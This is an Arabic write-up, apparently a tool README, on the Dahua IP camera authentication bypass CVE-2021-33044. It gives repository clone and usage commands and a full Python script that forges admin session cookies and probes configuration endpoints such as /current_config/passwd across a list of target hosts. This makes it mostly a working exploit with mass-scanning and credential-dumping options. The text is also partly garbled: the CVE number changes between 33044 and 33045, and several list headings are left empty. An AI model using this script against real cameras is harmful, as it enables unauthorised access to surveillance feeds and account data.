
كاميرا Dahua بحث ثغرة CVE-2021-33044
كاميرات Dahua IP هي أجهزة إنترنت الأشياء شائعة الاستخدام في أنظمة المراقبة الأمنية. نظرًا لنشرها بشكل متكرر في الشبكات الداخلية أو الوصول إليها عبر الإنترنت، فإن الثغرات الأمنية في كاميرات IP يمكن أن تؤثر بشدة على الخصوصية وأمن المعلومات.
CVE-2021-33045 هي ثغرة أمنية موجودة في بعض سلاسل كاميرات Dahua، تسمح بالوصول غير المصرح به إلى موارد التهيئة الداخلية دون مصادقة صالحة. تنشأ هذه الثغرة من آلية التحكم في الوصول غير الصارمة في برنامج الجهاز الثابت.
| البند | المحتوى |
|---|---|
| CVE | CVE-2021-33044 |
| النوع | تجاوز المصادقة |
| الخطورة | حرجة (CVSS ~9.8) |
| المصادقة | لا تتطلب مصادقة |
| التأثير | كاميرات Dahua / DVR / NVR |
تنشأ الثغرة من تصميم مصادقة غير آمن في برنامج كاميرات Dahua الثابت:
هذا يسمح للمهاجم بـ:
المراجع:
→ يرسل العميل طلب HTTP مع ملف تعريف ارتباط عشوائي
→ تتحقق الكاميرا من ملف تعريف الارتباط على مستوى الواجهة
→ لا يتم التحقق من صحة الجلسة في النهاية الخلفية
→ يسمح بالوصول المباشر إلى نقاط نهاية التهيئة الداخلية
→ يعيد بيانات حساسة
| الملف |
|---|
# استنساخ المستودع
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# مسح الشبكة الفرعية (المنافذ مطلوبة)
python dahua_scanner.py https://example.com -p 80 8080 8800
# مضيف واحد مع المنفذ
python dahua_scanner.py https://example.com
المنافذ الشائعة لـ Dahua: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # تفريغ الجهاز بعد التجاوز
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
يستخدم السكريبت مكتبة requests ويقوم بتعطيل تحذيرات SSL بشكل استباقي.
الدالة dump_accounts(ip, port=80) هي الدالة الرئيسية المسؤولة عن فحص جهاز كاميرا واحد.
الوظائف الرئيسية للدالة هي:
محاكاة ملفات تعريف الارتباط للمصادقة. تستخدم الدالة قيم ملفات تعريف الارتباط مثل:
userName=adminuserLevel=1sessionID=00000000في إصدارات الكاميرات المتأثرة، لا يتحقق النهاية الخلفية من sessionID الفعلي، مما يؤدي إلى اعتقاد النظام بأن الطلب قد أُرسل من حساب مسؤول صالح.
يقرأ السكريبت قائمة الأهداف من ملف الإدخال، ويستدعي دالة الفحص لكل جهاز على التوالي. يسمح هذا النهج بتقييم العديد من الكاميرات تلقائيًا.
تم تطوير هذه السكريبتات بناءً على:
حالة الاختبار:
هذا المشروع:
| الغرض |
|---|
| CVEs |
|---|
dahua_scanner.py | اكتشاف الشبكة — العثور على كاميرات Dahua في الشبكة الفرعية | اكتشاف |
dahua_exploit.py | أداة مسح متعددة CVEs — فحص جميع الثغرات الأمنية. | الكل |
dahua_auth_bypass.py | تجاوز المصادقة المتخصص مع خيار --dump | CVE-2021-33044 |